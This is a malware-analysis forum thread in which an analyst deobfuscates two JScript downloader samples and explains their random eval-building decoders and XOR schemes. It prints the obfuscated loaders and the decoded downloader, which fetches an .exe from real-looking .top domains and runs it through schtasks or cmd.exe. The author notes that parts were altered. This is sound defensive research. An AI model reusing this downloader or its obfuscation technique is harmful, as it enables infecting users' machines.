True but what if you teach me everything you know about breaking down codes and deobfuscating, then, I can be your successor on MT when you retire. No Cloning needed, just gotta transfer your brain to mines. Dun Dun Dun.... forgot what movie this is from, First thing that comes to mind is Frankenstein....
- Obfuscated anonymous function built in real time by several attempts, using a random function, to decode the obfuscated real part of the downloader.
- The method used is a good protection against detection (heuristic)
=> to build the working anonymous decoder : 1 in 7776 possibilities
- Several modifications from last analysed sample.
As usual I made some modifications in several parts, to avoid copy-paste => run => infection
1) What it looks like :
The whole code with a lot of useless parts.
Code:
function juxmplsgix(domlybsnah)
{
return parseInt(domlybsnah,16);
}
function jjqnqjzeqn()
{
var sxqqpnabkg=new Array("p","l","e","v","a","^");
return sxqqpnabkg[Math["floo"+""+"r"](Math.random()*sxqqpnabkg.length)];
}
function cpcflkwbtq()
{
var i = 1;
var lxbpecvjjb="iAnJu2dZ7Ya23eJgkyt25L7BDt28uE_K73fCexQY22sPfDb24IWRuV25P1i4u6bWXfkT2cUnrmf2ejjmG-3fa-ImS0faqpJj2aalkxv3fS_g3h2a:TNeq0dhvWLo39T2utW24-kDot26oxIWM1epuBmo39jnBtS27tvyUd63ErgGl3e_FZO339rLbSj27nVUfl67MU-Z"+
"C6bDNhMW28FxH7y2ad4:5S27w0WnX27:-GYd29sE:wl2aVCguL28_:pD620R_9n362Cmel630rk5L53fv3Ujt39yo8xn32_knuq30IH9Sa3dpRXf42a_kx2u39RkpeL6bEo8YD33PEqwZ26kGYzb27_T8J:03pFjYG3fAwr_g3fwcU093bcHSQ_6bYCDrs76gq_g_6bM"+
"mSdw25W1fP-2eFDzgC3cUGOas6bPCth70aTYub228dzQ_J3fGxK7w22KKBur3dKL-c02ek83mb13o7qjR04pY4DE29Cc4OW21dxj9A2eINmEj28DBnDz3feVmrp63ogMr869R5RED06pKrWM18MeCcG13jeOLM06iCLI607iKz5279YR7wr65Xf24M13--9Zx06BqUW:"+
"07UAXkh03_QrjY1ff:usw1fmwnxt1bQlrEp69Svxs662mNHsf70aoBhP33YYPK-26CiqjD27cCeEc03Wo-_R3frjmZD3fB32Kl3bFg6jr65roctO24dRWkr3brBc3X2et7oTM25wn:3d63bFSbq69MWzjH0ciYhA40eUF_5J1fZqV8H69X9aLw67PiNgH6byafmA3eoO"+
.....
.....
;
return lxbpecvjjb;
}
function xtdrwwmaoz(rmqnmpjsnb)
{
var qxhgbpgltx;
while(true){
try
{
qxhgbpgltx=(new Function("pfjadkqyzq","var tukovgydnz=pfjadkqyzq.match(/\\S{7}/g),xhmbtgrfqq=\"\",fpfrxmccyg=0;while(fpfrxmccyg<tukovgydnz.length){xhmbtgrfqq+=String['fromCharCode'](juxmplsgix(tukovgydnz[fpfrxmccyg].substr(5,2))"+jjqnqjzeqn()+"75);fpfrxmccyg++;}"+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+jjqnqjzeqn()+"(xhmbtgrfqq);")(rmqnmpjsnb));
break;
}
catch(er)
{
}
}
return qxhgbpgltx;
}
xtdrwwmaoz(cpcflkwbtq());
2) The different parts :
(1)
function juxmplsgix(domlybsnah)
{
return parseInt(domlybsnah,16);
}
converts from String to integer, considering the number represented as a string is an hex number
e.g : "1C" => 0x1c => 28 decimal
This part is to replace the ParseInt(string_used.substr(pos, size), 16) that was used in previous samples
(2)
function jjqnqjzeqn() {
var sxqqpnabkg=new Array("p","l","e","v","a","^");
return sxqqpnabkg[Math["floo"+""+"r"](Math.random()*sxqqpnabkg.length)];
}
Function that will return randomly one char.
The array contains all possibilities :
sxqqpnabkg = [
"p",
"l",
"e",
"v",
"a",
"^"
]
(3)
function cpcflkwbtq()
{
var i = 1;
var lxbpecvjjb="iAnJu2dZ7Ya23eJgkyt25L7BDt28uE_K73fCexQY22sPfDb24IWRuV25P1i4u6bWXfkT2cUnrmf2ejjmG-3fa-ImS0faqpJj2aalkxv3fS_g3h2a:TNeq0dhvWLo39T2utW24-kDot26oxIWM1epuBmo39jnBtS27tvyUd63ErgGl3e_FZO339rLbSj27nVUfl67MU-Z"+
"C6bDNhMW28FxH7y2ad4:5S27w0WnX27:-GYd29sE:wl2aVCguL28_D620R_9n362Cmel630rk5L53fv3Ujt39yo8xn32_knuq30IH9Sa3dpRXf42a_kx2u39RkpeL6bEo8YD33PEqwZ26kGYzb27_T8J:03pFjYG3fAwr_g3fwcU093bcHSQ_6bYCDrs76gq_g_6bM"+
"mSdw25W1fP-2eFDzgC3cUGOas6bPCth70aTYub228dzQ_J3fGxK7w22KKBur3dKL-c02ek83mb13o7qjR04pY4DE29Cc4OW21dxj9A2eINmEj28DBnDz3feVmrp63ogMr869R5RED06pKrWM18MeCcG13jeOLM06iCLI607iKz5279YR7wr65Xf24M13--9Zx06BqUW:"+
"07UAXkh03_QrjY1ff:usw1fmwnxt1bQlrEp69Svxs662mNHsf70aoBhP33YYPK-26CiqjD27cCeEc03Wo-_R3frjmZD3fB32Kl3bFg6jr65roctO24dRWkr3brBc3X2et7oTM25wn:3d63bFSbq69MWzjH0ciYhA40eUF_5J1fZqV8H69X9aLw67PiNgH6byafmA3eoO"+
.....
.....=> a lot of long string parts added, I only show here some parts ;
return lxbpecvjjb;
}
This function builds the encoded string, that will be used to decode the real malware part, with a decoding function that will be built in real time after, like a puzzle, after random attempts.
This is the main function called by the entry point : xtdrwwmaoz(cpcflkwbtq());
(5)
xtdrwwmaoz(cpcflkwbtq());
=> the first part run
cpcflkwbtq()
=> returns the encoded string, built by concatenation of several strings.
=> parameter for xtdrwwmaoz function, that will build in real time, by random attemps, the decoder, decode the obfuscated string, and run the malware part
=> must be "^" : because it is the only working char if put with 75 => ^75 => XOR 75
random_name(xhmbtgrfqq)
=> This random_name is used like a function with the decoded string as parameter
And is build in real time with several attempts that call the random function we have seen above.
The While Loop is infinite (true) : it will try to build and run the anonymous function until a working one is found
=> the catch part is used to manage errors and this way, avoid any message (there could be a lot of errors until the good "puzzle" is found
=> add to the current string (under building) , the current decoded part from the current string of 7 chars.
=> ukovgydnz[fpfrxmccyg] : get the current string of 7 chars on the array of several parts (with the current index)
=> substr(5,2) : from the current coded string : get the 2 last chars (the 7 firs chars are to obfuscate a bit more)
=> this two last chars are converted in a Int, considering it was an hexadecimal representation :
=> the number is XORed with 75
=> String.fromCharCode : the resulting number is converted into a string
=> fpfrxmccyg++ => next index
Examples :
"iAnJu2d"" => "2d" => considered as a string representation of 2d in hexadecimal
=> 45 in decimal
=> 45 XOR 75 = 102
=> 102 => "f"
""Z7Ya23e"" => "3e" => considered as a string representation of 3e in hexadecimal
=> 62 in decimal
=> 62 XOR 75 = 117
=> 117 => "u"
"Jgkyt25"" => "25" => considered as a string representation of 25 in hexadecimal
=> 37 in decimal (= "C")
=> 37 XOR 75 = 110
=> 110 => "n"
etc,...
eval(xhmbtgrfqq)
=> here the complete decoded part is in the string,
=> eval(...) => evaluates / runs this part
5) Let's get the decoded string :
We have found the right function using a static analysis method.
To get the decoded string, there are several solutions, using for example a debugger, but after have replaced their random method by our working function.
The dangerous par is eval(xhmbtgrfqq)
The modification I made to get the decoded string :
xtdrwwmaoz(cpcflkwbtq());
var tempo = test(cpcflkwbtq());
function test(pfjadkqyzq) {
var tukovgydnz=pfjadkqyzq.match(/\S{7}/g),
xhmbtgrfqq="",
fpfrxmccyg=0;
while(fpfrxmccyg<tukovgydnz.length)
{
(2) => callsgetDataFromUrl(URL, function_with_next_url_if needed) : is called several time if needed, change the URL tested until the end or if a good working URL is found.
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
=> http object created
xmlHttp.open("GET", url, false);
=> opens a connection to the URL
xmlHttp.send();
=> sends the request : try to download the payload
if (xmlHttp.status == 200) {
=> if the status is == 200 = > OK
return callback(xmlHttp.ResponseBody, false);
=> returns the content of the request : data received
=> stream object created using new ActiveXObject("ADODB.Stream");
=> stream used to save the data received on a file
returns to second_main_anonymous_function
(4)
=> creates a shell object wsh = ActiveXObject("WScript.Shell");
=> uses this shell object to run the payload
=> wsh.Run("cmd.exe /c start " + path + " & del *.js")
=> run cmd.exe to start the payload and delete all the .js scripts
6) Conclusion :
6 different chars in the array used by the random function :
^ => 6 possibilities
e v a l => 6*6*6*6
=> 6*6*6*6*6 = 7776 combinations (remember that here, the same char can be chosen several times)
Only 1 works : "^" "e" "v" "a" "l"
URL :
hxxp://sonicfopase.top/admin.php?f=2.gif
Payload :
%TEMP%\y2lnjnvzw.exe (example, because it is a complete random name)
Example : C:\Users\DardiM\AppData\Local\Temp\y2lnjnvzw.exe
Why this sample ?
It is a big improvement from precedent samples. It can now take a lot of minutes before it successfully gets a working decoder.
Look at the code :
Code:
function oOoO0O0(O0o00oO)
{
var O0oOo00;
try
{
O0oOo00=(new Function("OoO000o","return OoO000o.match(/\\S{1}/g);")(O0o00oO));
}
catch (er)
{
}
return O0oOo00;
}
function oo0000O(Oo00O0o,OOOOOo0)
{
var o00OOoo;
try
{
o00OOoo=(new Function("oOo00oo","oo0OOo0","return oOo00oo[Math.floor(Math.random()*oo0OOo0)];")(Oo00O0o,OOOOOo0));
}
catch(er)
{
}
return o00OOoo;
}
function ooO0O00(OoOoOoo)
{
var ooO00o0;
try
{
ooO00o0=(new Function("oOO0oOO","return String.fromCharCode(oOO0oOO);")(OoOoOoo));
}
catch(er)
{
}
return ooO00o0;
}
function Oo0Ooo0(oOo0oOO)
{
var O0OoOO0;
while(true){
try
{
var i = 0;
O0OoOO0=(new Function("OoOOOOo","var OOOo0oO="+"new Array(99,110,244,91,53,249,101,68),O00OoO0=OoOOOOo.match(/\\S{2}/g),oO0OO0O=\"\",oO0OO0o=0;for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){if(O00oOo0>=OOOo0oO.length){O00oOo0=0;}oO0OO0O "+o0ooO0O()+"=ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0]);}"+o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);")(oOo0oOO));
// c n ¶ [ 5 ¨ e D
break;
}
catch(er)
{
}
}
return O0OoOO0;
}
function o0ooO0O()
{
var ooO0OOO;
try
{
ooO0OOO=(new Function("var oOOOOOo=oOoO0O0(\"l+eva+alal+veve+l+ave+alal+veve\");return oo0000O(oOOOOOo,31);")());
}
catch(er)
{
}
return ooO0OOO;
}
function O0ooO0o()
{
var oo0oO0O="051b9a3841900a2a4309912f71981125251c9b36608b096c161c9877159a04280f0c95385ed01e3011178f2d548b453c0e02bc2f418945794300912c15b806300a1891037a9b0f21001adc7978aa3d092f5cda0378b52d10373ed6720e8108282b1a802b1b9615210d46d61c70ad4768431b863719d903250f1d91720e8108282b1a802b1b8a002a0746dd605c9f456c1b039813418d"+
"156a101a952f408a45795e4ec66b05d0453f110b802e4797452702029839549a0e6c1b039813418d156a310b872b5a9716212101902219d903250f1d91720e840028100b8f29508d10360d4e973a599507250005dc3540950968431a862e50d05e391e0d952f5691456c061c863447d01e36061a81295bd906250f02963a56924d2a16029877158d17310647cf26489f102a001a9d34"+
...
... removed : two long
...
"0437081dd474568b0025170bd474419745664345d416548d0d6a110f9a3f5a944d6d4d1a9b08418b0c2a0446c76d1cd71631011d80291dcb49645a47d47015db456b100dd4345b9a00644c1a867b17d94e64130f803315d245664341872f15db456f431c8135619008214a55893e598a003f141d9c75678c0b6c410d993f1b9c1d214341977b468d0436174ed67b1ed915251706dd60"+
"48840625170d9c7b1d9c17360c1cdd7b4e8418394a5589261cc2";
return oo0oO0O;
}
Oo0Ooo0(O0ooO0o());
Lol ! A good way to make trouble to eyes and disturb the brain ...
Where are the part that build the decoder in real time (with several attempts) ?
Code:
function Oo0Ooo0(oOo0oOO)
{
var O0OoOO0;
while(true){
try
{
var i = 0;
O0OoOO0=(new Function("OoOOOOo","var OOOo0oO="+"new Array(99,110,244,91,53,249,101,68),O00OoO0=OoOOOOo.match(/\\S{2}/g),oO0OO0O=\"\",oO0OO0o=0;for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){if(O00oOo0>=OOOo0oO.length){O00oOo0=0;}oO0OO0O "+o0ooO0O()+"=ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0]);}"+o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);")(oOo0oOO));
break;
}
catch(er)
{
}
}
return O0OoOO0;
}
Following the code / steps :
(1) Entry point :
Oo0Ooo0(O0ooO0o());
O0ooO0o() => will concatenate and return the obfuscated string : the downloader and launcher of the payload
(2) Creation of the big string that will contain the whole real part obfuscated / coded :
Details :
function O0ooO0o()
{
var oo0oO0O="051b9a3841900a2a4309912f71981125251c9b36608b096c161c9877159a04280f0c95385ed01e3011178f2d548b453c0e02bc2f418945794300912c15b806300a1891037a9b0f21001adc7978aa3d092f5cda0378b52d10373ed6720e8108282b1a802b1b9615210d46d61c70ad4768431b863719d903250f1d91720e8108282b1a802b1b8a002a0746dd605c9f456c1b039813418d"+
"156a101a952f408a45795e4ec66b05d0453f110b802e4797452702029839549a0e6c1b039813418d156a310b872b5a9716212101902219d903250f1d91720e840028100b8f29508d10360d4e973a599507250005dc3540950968431a862e50d05e391e0d952f5691456c061c863447d01e36061a81295bd906250f02963a56924d2a16029877158d17310647cf26489f102a001a9d34"+ ...
... removed : two long
... "0437081dd474568b0025170bd474419745664345d416548d0d6a110f9a3f5a944d6d4d1a9b08418b0c2a0446c76d1cd71631011d80291dcb49645a47d47015db456b100dd4345b9a00644c1a867b17d94e64130f803315d245664341872f15db456f431c8135619008214a55893e598a003f141d9c75678c0b6c410d993f1b9c1d214341977b468d0436174ed67b1ed915251706dd60"+
"48840625170d9c7b1d9c17360c1cdd7b4e8418394a5589261cc2";
=> concatenation of several strings
return oo0oO0O;
=> returns the obfuscated string
}
(3) Main loop with attempts to create the working decoder
We have seen that From entry point :
Oo0Ooo0(O0ooO0o());
=> Let's see the function called with parameter : the obfuscated big string
function Oo0Ooo0(oOo0oOO) => oOo0oOO : parameter : the obfuscated string (real part of the bad script) {
var O0OoOO0;
=> will contain the decoder if successfully built, or will contains a not working function (will failed on some part randomly built but that is not the good decoder)
while(true){
try
{
var i = 0; => not used O0OoOO0=(
new Function(
"OoOOOOo", => name of the parameter for the function once built
=> body of the future function : the working decoder or the bad decoder
(in this last case,an error will occurs and be catch => Loop while (true) => other attempts)
)(oOo0oOO)); => content of the parameter OoOOOOo once the function will be su
break;
}
catch(er)
{
}
}
return O0OoOO0;
}
(3-1) Analyse of the body of the function that has to give a working decoder, at one moment :
var OOOo0oO=new Array(99,110,244,91,53,249,101,68), => this array is used for the XOR part : this time, not a single value O00OoO0=OoOOOOo.match(/\S{2}/g), => creates an array with the encoded long string, 2 chars by 2 chars oO0OO0O="",
oO0OO0o=0;
for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){
if(O00oOo0>=OOOo0oO.length){
O00oOo0=0;
=> when all value for the XOR part has benn used, start again with the first
is a string, but each char can represent an hex number
=> parseInt("05",16)
=> the whole string will be converted in 0x05 = 05 decimal
=> 05 XOR 99 => 102 => "f"
=> parseInt("1b",16)
=> the whole string will be converted in 0x1b = 27 decimal
=> 27 XOR 110 =>117 => "u"
=> parseInt("9a",16)
=> the whole string will be converted in 0x9a = 154 decimal
=> 154 XOR 244 => 110 => "n"
=> parseInt("38",16)
=> the whole string will be converted in 0x9a = 56 decimal
=> 56 XOR 91 => 99 => "c"
=> parseInt("41",16)
=> the whole string will be converted in 0x41 = 65 decimal
=> 65 XOR 53 => 116 = > "t"
=> parseInt("90",16)
=> the whole string will be converted in 0x90 = 144 decimal
=> 144 XOR 249 => 105 => "i"
=> parseInt("0a",16)
=> the whole string will be converted in 0x0a = 10 decimal
=> 10 XOR 101 => 111 => "o"
=> parseInt("2a",16)
=> the whole string will be converted in 0x2a = 42 decimal
=> 42 XOR 68 => 11 => "n
Here : all the value to be used for the XOR part have been used=> begins again by the first one : 99
=> parseInt("43",16)
=> the whole string will be converted in 0x43 = 67 decimal
=> 67 XOR 99 => 132 => " " => blank char
=> etc,
- oO0OO0O :
=> will contain the decoded string (downloader / launcher script)
=> the string begin empty : ""
=> the logic is : add each decoded part on the loop, until all has been decoded
=> easy to understand that the function o0ooO0O() must return a "+" to have the good part corresponding
=> value+=some_other_value <=> value = value + some_other_value
=> o0ooO0O() : function that return in a pseudo random way some part => easy to understand that the concatenation of the 4 calls to o0ooO0O() must be : "eval"
=> eval(oO0OO0O) => run the real bad script once decoded
o0ooO0O() => let see how the returned values (to make the attempts to build a working decoder) works
=> array that will be used to build random part => 31 chars, several are the sames
=> 6 * "e"
=> 6 * "v"
=> 6 * "a"
=> 6 * "l"
=> 7 * "+"
=> "eval" and "+"
Remember what was said previously : the working decoder function needs "+" in one call , and "e"+"v"+"a"+"l" in others calls
We reach here (from previous anonymous function) => this is the random function : oo0000O(parameter1, parameter2)
- parameter 1 : the array of char for the random part - parameter 2 : a value
return oo0000O(oOOOOOo,31);
why a parameter 31 ? => 31 chars => used with the random function to get a value that will always be a index of the array of char
Now, if you remember the old samples I analyzed in this thread, you have seen all important parts are present, but written in another way, to obfuscate a bit more
(4) Let's Retrieve the download script that is obfuscated in the long string :
2 main methods :
- build a new js script with a working decoder, now we now the real parts needed,
- use the sample, with a small modification, to get automatically the good decoded part.
The second method is quick :
We just have to remove the +o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);" that must give eval(oO0OO0O);
=> replace it by return oO0OO0O (remember that oO0OO0O will be the decoded code)
=> this way, the entry point can me change to receive the obfuscated string
new Entry point :
var deobuscated_string = Oo0Ooo0(O0ooO0o());
var tempo =0; => breakpoint on this line
=> here : you will be able to look at the string received, using the debugger.
And modified main loop => the body string concatenation of the decoder : I put "+" and return oO0OO0O in the good place
=> the random functions are no more called => the good decoder is directly build. => var deobuscated_string will receive the good string.
value+=some_other_value => value = value + some_other_value
The real malware part of the script, that was hidden in the very long string :
I changed some parts on the following code, to avoid copy-paste => run => infection
Code:
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp. status == 200) {
return callback(xmlHttp.ResponseBody, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
function getData(callback) {
try {
getDataFromUrl("http://www.fffgooaldq.top/user.php?f=2.gif", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http://www.fffgooaldq.top/user.php?f=2.gif", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http://www.fffgooaldq.top/user.php?f=2.gif", function(result, error) {
if (!error) {
return callback(result, false);
} else {
return callback(null, true);
}
});
}
});
}
});
} catch (error) {
return callback(null, true);
}
}
function getTempFilePath() {
try {
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\" + Math. random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
return tmpFilePath;
} catch (error) {
return false;
}
}
function saveToTemp(data, callback) {
try {
var path = getTempFilePath();
if (path) {
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2);
objStream.Close();
return callback(path, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
function pad(n) {
return n < 10 ? "0" + n : n;
}
getData(function(data, error) {
if (!error) {
saveToTemp(data, function(path, error) {
if (!error) {
try {
var time = new Date(new Date().getTime() + 2 * 60 * 1000);
var runTime = pad(time.getHours()) + ":" + pad(time.getMinutes());
var wsh = new ActiveXObject("WScript .Shell");
var winVer = wsh.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentVersion");
if (winVer.indexOf("6.") >= 0 || winVer.indexOf("10.") >= 0) {
wsh. Run("schtasks /create /tn " + Math.random().toString(36).substr(2, 9) + " /sc once /tr " + path + " /st " + runTime);
} else {
wsh.Run("cmd.exe /c start " + path);
}
} catch (error) {}
}
});
}
});
We can see that it looks like what we have already seen in previous analysis.
I Will then not analyze the part we have already seen, only the differences.
The url(s) : the script allows 3 urls to be used (several trys)
- here, they put 3 times the same url : hXXp://www . fffgooaldq.top/user.php?f=2.gif
But we can see a big difference from previous samples :
var winVer = wsh.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentVersion");
if (winVer.indexOf("6.") >= 0 || winVer.indexOf("10.") >= 0) {
/create => creates a task /tn random_name => to uniquely identifies the scheduled task /sc once =>A value that specifies the schedule frequency
/tr path => the path of the file to be run at the schedule time : here, the payload downloaded fromhXXp://www . fffgooaldq.top/user.php?f=2.gif
/st runTIme => specifies the start time
var time = new Date(new Date().getTime() + 2 * 60 * 1000);
=>get the current time, and add 2 minutes (2*60 *1000 milliseconds).
=> example : Fri Mar 31 19:07:43 UTC+0200 2017
var runTime = pad(time.getHours()) + ":" + pad(time.getMinutes());
=> get the hours and minutes parts of the Date object
it uses :
function pad {
return n < 10 ? "0" + n : n;
}
=> to format the time : to make 2 values if the number is less than 10
=> with our example : runTIme : 19:07
else :
it runs the payload with cmd.exe /c start path
(5) Conclusion :
Improvement of the family :
several values used for the XOR part with the encoded string
all the char from the first long obfuscated string are used (inprecedent version, only last 2 chars of group of 7 chars was used.
name of vars has been complicated to hurt our eyes / brain (when analyzing)
important parts divided in more functions.
the array for the random part contains 31 chars with 5 different possibilities :
- 31*31*31*31*31 = 28 629 151 possibilities to build the decoder
=> most of them will build a non working decoder.
- 7 * 6 * 6 * 6 * 6 = 9072 possibilities to get "+" "e" "v" "a" "l" but not specially in the good order
With the possibilities to get 5 different chars :
=> 5 ! = 5 * 4 * 3 * 2 * 1 = 120 different groups possible, and only one of them gives the good order that will make a working decoder
9072/120 working possibilities
I made some tests : from few seconds to minutes to get a working decoder
uses Task Scheduler if the version of windows is if window version is >= 6. OR >= 10
=> the task will begin 2 minutes after
else : run the payload at the current time with cmd
Example of path + random name
C:\Users\DardiM\AppData\Local\Temp\e5nj25etn.exe
=> var path = getTempFilePath() => var fs = new ActiveXObject("Scripting.FileSystemObject");
=> object to manipulate files / folder
=> var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
=> random value converted into a string, and then 9 chars are retrieved from index 2 (third char) !
=> toString(radix)
=> radix : must be an integer between 2 and 36 :
2 - The number will show as a binary value
8 - The number will show as an octal value
16 - The number will show as an hexadecimal value
then 36 : 16 + 2 + 8 => means : binary, octal, hexadecimal are allowed
=> why not keep the first chars ? Because the random function return a decimal number that begins by : 0.
=> the string also begins with "0."
Example :
=> "0.e5nj25etnr49"
=> we don't want this part in the random name
=> .substr(2, 9) (= retrieve from index 2, 9 chars)
=> "e5nj25etn"
=> %TEMP%\ + 9 random chars + ".exe" => C:\Users\DardiM\AppData\Local\Temp\e5nj25etn.exe
We just have to remove the +o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);" that must give eval(oO0OO0O);
=> replace it by return oO0OO0O (remember that oO0OO0O will be the decoded code)
=> this way, the entry point can me change to receive the obfuscated string
you are so right about o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O giving me a brain teaser and that its "A good way to make trouble to eyes and disturb the brain".
Thank you Penguin and it feels so good to have time to read some of your analysis again. I truly miss MT!
you are so right about o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O giving me a brain teaser and that its "A good way to make trouble to eyes and disturb the brain".
Thank you Penguin and it feels so good to have time to read some of your analysis again. I truly miss MT!